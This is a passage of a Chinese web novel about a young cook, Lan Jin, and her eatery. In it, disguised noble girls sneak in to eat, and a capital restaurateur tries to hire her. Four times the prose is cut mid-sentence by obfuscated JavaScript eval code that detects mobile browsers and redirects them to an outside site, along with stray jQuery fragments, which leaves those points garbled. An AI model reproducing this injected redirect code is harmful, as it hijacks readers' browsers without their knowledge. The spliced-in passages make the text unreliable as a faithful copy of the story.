顺子急道：“客官，对不住。我这就回去，看掌柜的能不能给您再做一份。” 翁朗溪原先是跟旁人一样，不愿意去店里吃，怕叫人认出来说嘴。 但再等一次外送实在耗时，她心一横：“不必了，我换下衣衫，这就去蓝记上门吃。” 顺子再三谢过，赶着去送下一家了。 翁朗溪是从天都来的。听雪轩的吴大娘子为着避嫌，撤了海鲜酸辣粉的水牌，不再卖了。 天都女娘们坐不住了，吃过的觉得味道尚算新奇，没吃过的更是好奇得百抓挠心。 于是大家一打听，得知了这桩仿作风波。知道这碗好汤饼，原是出自万年县的蓝记饮食店。 可那只是一家市井食肆，门脸都只有一进，几张小桌罢了。 一群蠢蠢欲动兴奋得像土拨鼠一样的女儿家不禁犹豫了。 凑在一起的几人皆装作浑不在意的模样。 “那种地方能有什么好菜色，恐怕连听雪轩的都比不上吧。” “就是，我是不屑吃的。谁知她用的菜蔬、厨具，干不干净？” “是啊是啊，不知平素都是给些什么样人烹食呀。” “对呀，萧二郎君吃了，不过赶巧了吧。他没吃过乡野粗食，一时叫她捡了便宜。” “我可看不上那使噱头唬人的行径，说不得就是那家小馆子编出来哄我们的。弄这些花头，谁要去上当。” “可不是嘛，当谁稀罕呢。没了就没了，不吃就不吃呗。” 如是七嘴八舌，几人都说好了，谁都不会去的，谁去谁掉价。 由是便扭过头去，环佩叮当的，各回各家，匆匆乘车走了。 午市时间已过，蓝锦此时打算关门歇息了。 她站在蓝记饮食店的门口，刚要阖上门扉，就看到一个身着竹青袍子的乌黑圆脑袋，在大柳树后探来探去。 嘶，好似是小秋她们书院的服样？ 蓝锦麻利地擦洗饭桌，只远远地唤道：“是小秋的同窗吗？今日怎么还没去上学，书院有假吗？” 乌黑圆脑袋慢慢钻出来，慢慢踱步到蓝记门口。 咦，不是小秋的朋友，是个陌生小娘子。身上一清二白，连个耳饰也没有。 “啊，我不上学，啊，不是不是，我来吃，不，我不是......” 蓝锦越发迷惑了，莫不是脑子不太清爽？ “小妹妹，你遇到什么事了吗，不要怕，可还记得家在哪个坊？” 翁朗溪更不好意思了，扭脸看看四下无人，小步小步挪到屋里。 在蓝锦身边，低着头，用极小极小的声音说：“这位姐姐，能不能帮我做一碗酸辣海鲜粉？” 蓝锦心中变换不定。这般扭捏，莫非是家中不便，好容易攒出些许银钱，巴巴地来央自己慰一下五脏庙。 瞧那衣袍，袖口洗得发白了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541982|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是有耳洞的。却连养耳洞的小银钩子也戴不起，那是县里打了耳洞的女儿家常用的。 蓝锦请她坐下，语气温柔道： “今儿你来得不巧，点酸辣海鲜粉的人太多了，一早就卖完啦。要吃就得等明日了，要不先尝点别的？我家有酸甜口的肉，小巧玲珑的，要不要试试？” 还给翁朗溪拿了糖渍樱桃李，新出的珍珠牛乳茶，温热版的。 翁朗溪心有不甘，她晚上还要赶回去。等到明日，万万不行的。她只好道：“也好。” 蓝锦依言去准备。翁朗溪把这一杯一碟往怀里一拢，再次探头探脑地去看外间有无熟面孔，方才放心地低下头去嗅那股沁人心脾的甜香。 快快地往嘴里塞一枚——嗯！酸甜有味，软弹粘糯，还精心去了核，享受！ 再低下头去就碧玉杯子，沿着杯沿吮一大口浅绛色的珍珠牛乳茶。 哇，从没喝过这么好喝的饮子欸。 牛乳没有想象中的腥味，只有奶香，直把人温温柔柔地包裹在云团中。 舌间掺杂了红茶的清香，二者相得益彰，甜味更甜，茶味更香。 用那小银勺一搅，乌玉珠一样弹弹的小圆子浮上浮下，捞起一颗放在口中—— 天呐天呐！翁朗溪只想双手捧腮，向天大叫一声，这是什么人间美味啊啊啊！ 焦糖的甜香味愈嚼愈浓，弹嫩的质感是任何一种食物都没有过的。 翁朗溪在口中嚼了又嚼，直到全都化了才舍得咽下。 这焦糖味的乌玉小球貌不惊人，搭配上这清甜的牛乳和红茶，却叫人无法自拔。 翁朗溪沉醉了。 翁朗溪忘记了一切，忘记了自己身在何方，甚至忘记了自己姓甚名谁。 蓝锦又给她端来了一份玛瑙荔枝肉。 五花肉片经由红米曲水和酒糟的着色，变得酡红似粉钻。 又被均匀地切了薄片，改了花刀，裹成荔枝样的小球，炸得朱红。 接着被糖醋汁子入锅一翻炒，水淀粉一勾芡。 直变成一碟粒粒分明，嫣红诱人，晶亮拉丝的玛瑙荔枝肉。在白净的盘身上，不住地向翁朗溪抛着媚眼。 夹起一颗放入口中，外酥里嫩，汁香四溢，酸甜可人。 过了油，糖醋口，完全是年轻小娘子的爱物。 年轻小娘子翁朗溪完全被拿下了。 她幸福得只差泪水横流了，一边头也不抬地不停往嘴里塞，一边忍不住跟蓝锦说： “真好吃，太好吃了，太香了，我这辈子都没吃过这么好吃的肉。” 蓝锦笑着谢过客人赏识，又去忙着招待旁的顾客。 真是奇怪，也不知是怎么了，来的人都和第一个小娘子差不多。 一模一样的打扮，如出一辙的神态，异口同音的语言，连声音也是似曾相识的小。 蓝锦心下纳罕，却也笑容满面地接下这些单子去了灶间。 翁朗溪吃得热火朝天，恋恋不舍地咽下一口荔枝肉，大声说道：“这位姐姐，你得闲能去我家管厨房吗？” 空气凝固了。 蓝记饮食店内此时落一根针都能听见响声。 40. 第40章 翁朗溪心下纳罕，抬起头来，原来蓝掌柜不在外间。 只能看见几个四散守在角落、低头扮仓鼠、恨不得把脸埋进面前小碟子的女娘，俱定在那里。 嚼都不敢嚼了。 “黄端玉，你还说你不屑来的！” “翁朗溪，你不也来了！还央人家去你家管厨房呢，我们都听见了。” “那又怎样，你有本事不吃！” 几颗刻意摘了头饰的乌黑圆脑袋，七嘴八舌地吵了几句，终究觉得丢人。 低了声音，沉默一阵，扑哧笑开了。 几人亲亲热热地挤在一处，交换蓝锦给自己的餐前小点，亲热地咬耳朵。 “这家店真是好吃，虽然没吃上海鲜酸辣粉。到这一看，别的也这样好吃。” “哎哎，我家飞荷说了，萧二郎君真的吃过这家。她是跟蒋府走街办事的小厮打听到的。” “呀，那十分倒有七八分是真的了。谁不知道蒋家纨绔，是跟着萧二郎君才改邪归正的，两人走得可近了。” “未见得多近，说不定，是因为萧二郎君不愿跟那个大馋小子抢吃的！” “若是这家蓝记小馆子的饭食，那值得抢一抢。若是太学、国子监、衙门值房的食堂，白送人也不要哇。” 众人眉眼弯弯，吃吃地笑了。 黄端玉把手指往双唇前一放，“嘘”地一声，示意大家去看角落里挂着的一幅画。 那是极温馨的一幅画作，画的正是此间景象。 用笔精炼，毫不拖泥带水。好像是精于此道的画者，一气呵成挥就的。 画面中心是一位专注的女娘，眉眼生动活泼。 虽未有署名，却很像大家之作。 “哎，好画呀！想不到这乡野之间，也有这种佳作。” “你再仔细看看，这个画风，难道不是萧二郎君独有的吗？” “欸，真是的。萧二郎君画的江畔渔人归图，便是这个味道。” 天都女娘们眼睛瞪得像铜铃，兴奋得彷佛发现了了不得的秘密。 此前还只是传说，现在一看，萧二郎君真可能唯爱此地，八九不离十了！ 这趟私自出行，那可是赚大了。 女娘们偷偷地把眼一瞧灶间小窗里一丝不苟的厨娘，再转过头来一看精描细写的画中人。 哟！ 几人默契地你看看我，我看看你。 把眉毛挑得高高的，张着圆圆的小嘴，发出无声的“哦~~哦~”。 有人一捅黄端玉的腰。叫她不要再一手捂着嘴，另只胳膊一个劲地往自己身上捶。一双杏眼睁得好似蹦出来了。 黄端玉一手丹青极妙，她只道： “哎哎，你们不爱画画，都不懂！没看出来么？说不得，萧二郎君对蓝记掌柜的有意！” 几人的追星立场各不相同，有人马上就跳出来：“萧二郎君是仙人，仙人没有感情的。” 黄端玉彷佛在冷圈找到独家大糖的领磕员，立刻做起饭来了： “你们都没品味！殊不知，爱而不得的郎君才叫美。这种绘画方法，这种格局安排，他对掌柜的一定有别样的感情。” 女娘们都对黄端玉嗤之以鼻，这太牵强了吧？ 嘶，这故事拿去用滚烫大锅熬糖浆甩冰糖葫芦都嫌硬。 黄端玉听见了伙伴们的嗤笑，两只耳朵都听见了，不改！她只管独自开朗： “这绝对肯定一定是萧二郎君的作品。他们俩一个暗生情愫，一个浑然不觉......啧啧，我看般配得很！” 大伙都不理画风奇怪的黄端玉，只顾享受美食。 唔！这荔枝肉好吃，干锅孜然炒羊肉也好吃，连腊肉炒香干都那么香。 当蓝锦招待下学归来的云江望和小秋时，才终于把白日里的疑问聊出来。 “今日好生奇怪！有好些鬼鬼祟祟的小女娘，来我这里点酸辣海鲜粉。那服饰打扮，倒像你们书院的人？” 云江望和小秋对视一眼，眼中俱是愤愤，一人一句地控诉起来。 “可别提了，就是这帮人，把我们害惨了。” “先是体术课上，发现后山晾衣杆那，丢了好些干净的、用来换身的院服，只能满身汗津津地听讲。” “午间又被山长拉去训话，不知从哪里听闻的，说我们不来书院做早课，倒去街上逛早市！” “甚至有人白日逃课，下馆子大快朵颐。也不知多么好吃的菜色，竟致流连忘返，久不离去。” “大发雷霆，查我们究竟是谁逃课呢！” “我们彼此一对，指天赌誓，才知道，并没有哪一个人做这种事！” “定是那帮人顺了我们书院的衣裳，也不知包藏的什么祸心。藏头遮尾，按到我们头上，真是飞来横祸！” “难不成是那青山书院的新招数？他们看不惯我们女学，却又不喜一年才招一次男生的规定。” “使这样下三滥的手段污人名声，还叫我们受罚！” 要是叫翁朗溪那一行人听到，可是要喊冤枉了。 她们都看过雅舍小报的文章，知道存竹书院是最革新不过的去处，很钦佩的。 这次来的路上，远远探看过。里面的小娘子都很洒脱肆意，神采飞扬，更加不受镣铐牵绊。 于是到了想要乔装，去赴蓝记饮食店的“鸿门宴”时，一下子就想到了这样一个绝佳身份。 原想着那么多件衣服，拿个一件看不出来什么，用完再悄没声地摆回去。 何况这衣袍虽是院服模样，却刷洗得不成样子。 有几件，肘间、腋下还打了小补丁。就跟人扔在山野里不要了的一样。 谁知她们这么不约而同，个个都往这里想了。 几人陆陆续续齐聚一堂，倒像存竹书院的女娘们约好了，集体逃学打牙祭似的！ 当然，这番想法，后来叫考上天都书院的云江望知道了—— 看不上蓝记饮食店，还贪吃。拿存竹书院当盾牌，还说她们院服破！ 那只是体术课活动幅度大，加上洗得有一点点勤罢了！ 对方支支吾吾地道歉：“当时看着那么旧，以为无主，无人要的。” 如是差点招云江望一通老拳伺候，那又是后话了。 二人欲哭无泪，一人一句地向蓝锦控诉。 云江望拿腔拿调地模仿起了明夫子：“你们啊，是我带过最差的一届！” 又立刻换个可怜巴巴的口气：“山长，可我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541983|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是第一届啊......” “这还多亏了你们啊，不用带其他届，我都能知道什么是最差的一届！” 小秋又加入：“果然是心怀天下的小娘子！书院里研究经义，街市里体察民情，食肆里高谈阔论。” “这才叫经世致用！在我这里屈就，我，都替你们委屈！” 被阴阳怪气无差别攻击的学生：萎缩，坚强...... 蓝锦笑着给二人端上了一大盆芋头炖鸡腿肉。好好慰藉她们破碎受伤的心灵，和饥肠辘辘的身体。 云江望是个极爱吃肉的小娘子。 巧了，小秋也是！ 要不说她们俩能做朋友呢。 当下二人各自去盛满一碗白米饭，拿着筷子就大口地吃了起来。 鸡腿肉扎实极了，还爽滑软嫩。 肉切得极大块，精心的炒制和炖煮，以及极新鲜的食材没有被辜负。肉香十足，软烂入味。 蓝锦是把鸡腿肉单独炒过再入锅调味的。 水汽一旦干掉，食材本身就会更吸味道，不管处理什么，这样去调味是事半功倍的。 就像人要排除之前的偏见，才能听进去新的话似的。 拈起一块芋头，稍一用力就裂成两半。 沙沙的，面面的，表面布满亮红色的汤汁。 粘稠的汤汁咸香诱人，还带着一点子茱萸的辣味，格外下饭。 两小只吃得风卷残云。云江望还舀了一大勺汤汁，拌着饭，连着肉，一大口吞了。 小秋则是把土豆碾得碎碎的，满满地裹在米饭上。 挖上一勺，再在顶上放一块去了骨的鸡腿肉，“啊呜”一口放进嘴里。 蓝锦在一旁，心满意足地看着两个小姑娘红扑扑的小脸蛋，比自己在吃还开心。 两小只的战斗力不容小觑，一盆子的芋头炖鸡很快就见了底。 谁叫她们今日运动量大，还挨了罚呢！ 而且动脑子读书，那也是很容易饿的！ 还好，有蓝记饮食店这个好去处。 云江望依依不舍，仍在执着地舀仅有的汤汁，拌着所剩无几的白饭。 蓝锦发挥大姐姐的角色，语重心长地劝她们吃一点青菜。 一点，就吃一点点！ 这菜叶子是搁了红葱油炒的，滋味很不一般的。 故而两小只蔫巴巴的，到底还是听了蓝锦“每顿饭要吃一点叶子菜”的劝导。 一人一半地把那盘绿油油的蔬菜分食完了。 末了，皆擦擦油光发亮的小嘴，满足地相视傻笑。 好像那些不开心的事，都忘到九霄云外了。 有什么能重要过面前的一餐一饭呢？ 还是让自己舒服最重要！ 小秋依依不舍地目送云江望上马家去了。她们约好，明日还要一起来用朝食和暮食。 蓝锦没想到，没过多久，天都附近捕风捉影地在传一种很新的消息。 说蓝记饮食店做得一手前无古人的好饭食。 连最有钱最有身份的贵女，都要一起相约，不惜逃学挨罚，也来吃呢！ 别看是小店，那可是藏龙卧虎，不可小觑的—— 她们还吃珍珠玛瑙呐！ 41. 第41章 “真真的，是一个姓蓝的年轻娘子，她给小娘子们吃珍珠和玛瑙咧。” “嘿，能咽得下去呀？啧啧，有钱人就是会有很多怪癖！” “就送给我，我也不能吃下去呀。” 蓝锦若知道人家这么议论自己，难免冷冷一叹。 谣言就是这么传开的！ 那分明是拟物修辞。怎么人人都觉得，她是那等暴殄天物，茹毛饮血的吞金老兽？ 她如往常一样开了店面，却见门口停着一辆华贵的马车，走下来一个丰腴的女娘。 吴仲芳身穿红纱裙，扔执着她那把绘了花鸟的宫扇。 她冲着蓝锦爽朗一笑，自来熟地开口道：“蓝娘子！我一瞧蓝娘子，就知道是个爽利人。” 蓝锦还未来及说出什么，便叫吴仲芳携着进了门。 这位直把此处当自家的客人四处一打量，开口道：“不错不错，麻雀虽小，五脏俱全。特别是这画，特别抬档次，菜肯定能叫得上价。” 蓝锦只对她说道：“这位客官，您是来用饭？” 吴仲芳这才笑着回头：“蓝娘子，我倒忘了跟你介绍。我是天都来的，也开了一间雅致的店铺，许多女娘都爱光顾的。你说听雪轩吴仲芳吴大掌柜，没人不知道的！” 蓝锦也客气道：“吴大掌柜今日前来，可是有事相商？” 吴仲芳冲她一挑眉，伸手招呼伙计把马车上的东西运下来。 白糖红糖，精米精面，时令鲜果不说。还有起码三年生的土鸡，几个结结实实的黑毛猪肘子，一条陈年的火腿，尾巴还在弹跳的虾子，甚至还有毛脚蟹...... 吴仲芳笑眯眯地开了口：“我是听说了蓝娘子的盛名，特意上门请教的。这些食材都是送与小娘子的。不知可否替我整治两道菜？要越精致越好，用料越贵越好！” 蓝锦头一回碰上这种客人。但开门迎客，有求必应。她还是应下了。 挑出了土鸡、肘子、火腿这些，进了灶间处理。 土鸡洗净拆剁。鸡油不要，脏器不要，爪子不要。 肘子细细烤制刷洗过，火腿也泡了良久。 把这几样放进锅里热腾腾地炖着，打去浮沫子。放些葱姜并陈年花雕，小火慢炖上三个时辰。 再取那鸡脯子肉，筋膜鸡油统统挑去。使两把刀耐心剁得细碎成糜，剁成没有半点颗粒的鸡茸。 把水和葱姜，倒进鸡茸里。撒些盐和胡椒，揉捏成均匀绵柔的肉羹。 再把熬煮好的肉汤过滤干净，骨肉皆弃之不用，只留吸尽了精华的汤头。 把这鸡肉羹倒进汤头里，再炖上小半时辰。 鸡肉羹就像最好的吸尘器，汤中腥膻的杂质，都被肉羹吸附殆尽。 此时汤色已臻完美，清透淡雅，亮如琥珀。 再把鸡肉沫统统滤去丢掉，只留下这透玉般的清汤。 蓝锦另取一块干净砧板，和一把磨得快快的刀。 蘸了清水，手腕翻飞，把一块嫩如凝脂的白玉色豆腐切得发丝一般粗细。 边缘统统弃去，只留中心卖相最好的一小块。 由是放进刚刚吊好、调味和摆盘的琥珀高汤里。 豆腐丝绽如秋菊，配上青绿的叶片，美得让人忘了呼吸。 一直在旁看着的听雪轩伙计已是忘了如何言语，两个眼珠子睁得溜圆，似是没想到在小小食店里能见到这般手艺。 这道吃荤不见荤，模拟长寿花的清雅菜做罢，蓝锦打算再贡献一份实在的。 当然，是登得大雅之堂，独一无二的那种实在。 ——便是红楼里贾老太太的惯用之物，茄鲞(xiǎng)。 挑园里刚摘下来还带着露水的紫皮茄子，去皮切丁。 拿刚刚剔下来的鸡肥油，熬煮成新鲜的鸡油，高温去炸那茄丁。 将薄豆干，山笋，野生松茸，香菇，去皮核桃仁，细细切成小丁。 寻来自家备好的山菇粉，还有添了小麦和麸皮、自酿的味极鲜酱油，一齐放进刚刚吊好的高汤里。 等到熬煮得味道皆进去了，汤汁也收浓，就倒进芝麻香油，小火一煨。 再把新摘下来的佛手瓜洗净切片，伴着这改良版的红楼茄鲞一炒。香气扑鼻，鲜味充满了整间屋子。 这道鲜美得“用十几只鸡来配它”的小炒就做得了。 待这两道菜摆到吴仲芳的面前，她一起身，一时呆住了。 茄鲞上还冒着盈盈的热气，清汤里的菊花豆腐也静静摇曳。 “雅致！实在是雅致！”吴仲芳忍不住拍手赞叹。 瓷白的小盅里盛着透亮晶润的高汤，一丝杂质也无，状若开水。一朵惟妙惟肖的豆腐花伫立其中，如空谷幽兰。 形如柳叶的白玉盘，只在圆的那一头放了一簇各色丁子炒瓜片，其他地方留白。 蓝锦借鉴了西式摆盘，用寥寥几笔褐色肉汁作线，活活脱一副清幽山水图。 吴仲芳的听雪轩素来追逐食不厌精，脍不厌细。 无他，唯有这样才能拿下起居坐卧无一不精致的天都女娘们嘛！ 天都上下皆承惠于听雪轩营造的舒适氛围，女娘们但凡小聚，都愿意选在此处。 她也不是没见过好厨子，现下见了这两道蓝记出品的菜，奇道：“这是哪一家的师承，倒是不曾见过。” 蓝锦不正面回答，笑得爽朗，只示意她拿起自家带来的银箸亲自试试： “说一千道一万，也还是得看味道。您尝尝，保准是您没吃过的。” 吴仲芳搛起一片佛手瓜，托着两三粒亮津津的各色丁子，放入口中慢慢品着。 美味！她的目光一下子亮了。 果仁香味和蔬果香味你缠着我，我缠着你，细品还有鲜美的鸡肉味，若隐若现地托着底。 茄子这种吸油的蔬菜，却一点也不油腻。只吸足了每一种菜色的风味。 调料不夺其香鲜，只是恰到好处地把每样食材的本味激发出来。 吴仲芳口味也是挑的。她还一向顾及身体，很注意保养。宁愿少食多餐，也从不愿多吃几口。 当下却是一下一下不停地去搛那盘茄鲞佛手瓜，姿态虽优雅，速度却可称得上风卷残云。 直到这菜下去了半盘子，才幽幽地停住了，去看面前另一道万寿菊样的豆腐花。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541984|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此菜色汤如清水，澄如溪泉，却锲而不舍地向周围不断泼洒着一种纯粹的肉香。 这种高不可攀的样子，吴仲芳本以为，该是素斋。 等她拿小银勺，略抿一点清汤入口，方知其中玄机。 汤水不油不咸，清爽得仿佛在喝山泉一般，可是回口却满是鲜味。 似乎下厨之人懂仙法，动一动手指，仙家御兽苑里满山遍野的鲜物，都自发地排着队跳进这汤锅。 她竟喝不出一丝人间的杂谷浊气！ 再品一口如纱如雾的豆腐丝。兴许是做这豆腐的水好，是山中醴泉，豆子也好，竟有一种从未体会过的“豆腐味”。 食此方知何为“豆腐”。若这个才是它该有的样子，那么从前吃过的、那些略无浓醇豆香的东西，只怕都是稀水罢了！ 更不用说，这盅豆腐还吸饱了各色油脂香。她好像没有在吃肉，又好像把这世上全部的荤鲜，都凝在这一口之中了。 山珍海味，举重若轻，或许就不过如此了。 吴仲芳完全忘记了自己的养生之道，直把这两道别致的菜色用得干干净净。 蓝锦在一旁陪着，面上带着果然如此的笑，心中了然。 红楼菜和国宴大师的手笔，还是很能打的嘛！来了天都贵妇也不惧。 “吴大掌柜，如何？还可以吗？” 吴仲芳拿起湖蓝苏绣帕子，轻拭嘴角。动作慢条斯理，语气却很欢快：“蓝娘子，你可真是能人所不能！” 蓝锦这才放下心来。 吴仲芳似是还不满足，她兴致正浓，继续给蓝锦出题： “蓝娘子，这样精致的热菜你做得，可能做一些更加不常见，样子更特别的菜肴？口味上倒不在乎。” “我看你摆盘也精。有没有那种只消看了一眼，就让人深深折服，恨不得赋诗一首的菜色？” 蓝锦笑得无奈，却也没提什么异议。 不过刁钻了点，她倒还应付得来。 她不假思索地选择了鱼生。这道菜可是源远流长，虽在新颖感上不占优，可样式上绝对超凡脱俗。 就如盛名在外的金齑玉脍，洁白的生鱼片，搭配金色的蘸料。未动筷，便能觉出它的高贵。 蓝锦继续厨刀翩飞，再给吴仲芳做了一碟鱼生。 做了高山流水的置景，蘸的是味极鲜并山葵酱。 她带来的鱼也是名贵菜。有一尾通体鲜红的鱼尤为活泼，与金鳞白肉的鱼片正相配。 她还和面调馅，做了一份山楂福字面果。 是拿山楂打底的果泥，一片片裹成白底红字的一条。 红白相间，每切一片都是一个“福”字。 这两份菜色一上桌，饶是见惯拟物果子糕饼的吴仲芳，也拍手称奇了。 “蓝娘子！什么都难不倒你呀。啧啧，世上竟有你这样的厨子。” 吴仲芳夹起一筷子鱼生，蘸过酱油和青绿的稠酱，差点鲜掉眉毛。 她一边尝着面果，一边赶紧腾出嘴来说话，再顾不上端优雅姿态：“好吃！好看又不是样子货！蓝娘子，你可愿来天都——也就是我家——做个大厨？” 42. 第42章 蓝锦觉得有些突然：“去天都？” 吴仲芳扇子打得飞快：“是呀，听雪轩聘你为当家第一大厨。” 蓝锦笑着问道：“翁掌柜一看便是行家，天都虽在万年县附近，彼此也有些距离。缘何翁掌柜会找上我，不过见了一面，就要聘我做厨子？” 吴仲芳笑开了：“自然因为我看上你了呀！” 她搛起一片蓝锦做的牡丹鱼生。 薄如蝉翼，透如绸纱，片片雪白，鱼的肌理脉络清晰可见，透出一种轻盈的鲜活气。 “天都贵人间，吃鱼生的不在少数。但像蓝娘子这样好的刀工，可没有几个。你在这小店，整日里也做不了多少贵价菜吧？白白浪费了你的功力，若跟我去天都听雪轩，日日都能做这些雅致菜色，保准有贵人豪掷千金追捧你。” 蓝锦仍旧是笑眯眯的：“翁掌柜认为今日做的这些菜色，更值得天天做；可我觉得，这些菜色高雅归高雅，换作是我，也不愿日日去吃。” 她端来一份五香猪肉条，一份蛋煎伦教糕：“好比这两份小菜，都没用什么名贵稀罕食材。掌柜的能说它们便不值得一卖吗？” 吴仲芳各尝了一口，蹙着眉头。 一旁的吴管事观察着二位的神色，倒是开了口：“这肉脯和米糕，一进肚子便觉得扎实，香，好吃！尤其是这蛋煎的米糕，那股发酵的甜香味，特别勾人，一点都不油腻。” “不过......这样子嘛，倒是平平无奇。不像是能叫人赋诗作画的，嘿嘿。” 小秋这会儿下学回来，把学堂上得的竹蜻蜓送给蓝锦，带有几分天真地答道：“写的诗文，也不能当饭吃嘛！” 蓝锦笑开了：“童言无忌，却是这个道理。日日吃这样的细馔，好像吃不饱似的。尝一次鲜倒还好说，若长久来看，就显得过于匠气了。” 吴仲芳仍旧不语，她心知是说不动蓝锦了。 只笑作一团花儿样，自作主张道：“我看，咱们也不必在这空口争辩。这样好了，我邀蓝娘子到天都做客，来我听雪轩走一遭，再行定夺，也不迟？” 蓝锦想要客气拒绝，吴仲芳已经拉着她的手：“就这样说定了。我家也有好厨子，有人还是从御膳房里头放出来的。蓝娘子就去跟同好切磋一下，也没什么损失嘛。你放心，一切花用都由我负责。你权当是带小姑娘去游玩，我瞧着，她也到了见见世面的年岁了。” 吴仲芳伸手摸小秋的脸蛋，叫她躲了回去，藏在蓝锦身后。 蓝锦对吴仲芳笑笑，把小秋揽到后头。 可这话却叫蓝锦心动，就去看看，也未尝不可？平时一心扑在事业上，她一向没什么时间带小秋出游。 就当增进姐妹俩的感情，大可以借此机会走一趟。 见着蓝锦若有所思的样子，吴仲芳“啪”地往她手里搁上一枚对牌和一锭沉甸甸的银子： “这是天都最好的客栈——月华台天字一号房的牌子。我长期包下来的，一直空着。蓝娘子若考虑好了，直接去，使人去听雪轩知会一声，我立时安排。” 说罢，竟带着吴管事，头也不回地上马车走了。 ** 马蹄声哒哒不停，越往城中去，越却被热闹的人声压下。 刚驶过朱雀门，蓝锦和小秋便从车帘子里冒出两颗脑袋。 城墙高耸，一眼望不到头。城门两侧是盘龙柱，门钉巍峨耸立，亮得发金。 守城将士穿着盔甲，拿着长矛，尖锐的枪头闪着寒光。这是蓝锦第一次见到正儿八经的冷兵器时代暴力工具，忍不住打了个冷颤。 再往前看，能远远瞧见皇城的红砖金瓦。脊兽排排，立于飞檐，在阳光下愈发璀璨。 “这位客官，想是蓝娘子吧？吴掌柜一早知会过，就等着您呐！天字一号房——这边请——”月华台的掌柜接了对牌，笑得见牙不见眼。 立刻有眼色活泛的伙计，把白巾往肩上一打。迈着小快步，引蓝锦去了房间，又细心地呈上果蔬茶点。 蓝锦推开窗，但见街市喧嚣。驴杂汤的香味隔老远就传了过来。有走街吆喝卖馉饳儿的，跟馄饨有点像。还有支摊子卖炸鱼的，卖油饼的...... 甚至有顶着金冠的外邦来使，大片荷叶般的头冠闪着光，胡子还老长。又有用布帛缠住头顶的人，宽袍大袖的。 还有骑着骆驼的女子，身着绯裙，腕上的一连串金环也是闪得人眼花缭乱。 小秋狠长了一番见识：“哇，他们看起来有些不一样！好神奇！” 蓝锦彷佛回到大学。她们的学校所在地繁华便利，也有许多外国人出入。 有人还是专挑家乡餐厅吃饭。但还有些入乡随俗得彻底的人，屡屡出入中餐馆，苍蝇馆子也不惧。 还总结出一套点单秘籍：就字里带一半“月”的！ 蓝锦跟一个喜欢古文字的朋友说起此事，她为之绝倒，大赞这是生活的智慧—— “月”字在古代通“肉”字嘛！真是会吃！ 蓝锦本想带小秋四处逛逛，再去知会听雪轩。 可吴掌柜没给她这个机会，不由分说就把她给带走了。 “蓝娘子，可把你给盼来了！这是我们听雪轩最有名的陈大厨陈粤。你们切磋切磋，不用跟他客气！” 蓝锦来之前，陈粤满头是汗。面对吴仲芳的耳提面命，只一个劲地担忧：“哩哩哩甘四情呢咩，居要四我某信升。” 吴仲芳不管，只是一味地鸡娃。 陈厨子讪讪地对蓝锦道：“蓝娘几，听港你你好会曲离鱼生，介么腻害。” 蓝锦客气地回道：“我也就剖剖通通咗，今日我们公贫公敬地切磋。” 陈粤这边是命题作文，吴仲芳一定要他做自家招牌的腌笃鲜。 蓝锦就没这些限制。她挑了几个猪蹄髈收拾干净，一焯水，蹄髈皮变成了肉粉色。 又起了一口大油锅，把蹄髈炸成虎皮，细细削去面上的杂质。 为了卖相好看，也为了嚼起来不费口，先切断蹄髈上的肉筋，叫它骨肉分离。 搁上葱姜料酒，小火炖上一炷香。 趁这个功夫炒个嫩嫩的糖色。 蓝锦下了一大把冰糖，小火炸得它发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541985|171016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出“滋啦滋啦”的响声。 炒好的糖色鲜红发亮。再把葱、姜、香料入油锅一炸，叫那花椒八角香叶桂皮，都最大限度地发挥自己的作用。 一时之间，楼里遍布了霸道的香味。 再放入肘子，倒进和蹄髈平齐的开水，撒盐调味，热热地炖上快一个多时辰。 等到出锅的时候，肉香似乎要掀开盖子喷薄而出。 蓝锦把朱红晶亮、软烂几乎脱骨的大蹄髈往大白盘子里一放。 肉皮似乎禁不止自身重量似的，随着动作晃来晃去，一时不停地颤巍巍地动。 这还不算完。她浓郁馨香的炖肉汤汁仔细过滤，撒了冰糖、盐和陈年好花雕，用大火热腾腾地收汁。 直到汤汁愈发浓稠，舀起一勺来坠如红线，方小心地浇到炖好的蹄髈上。 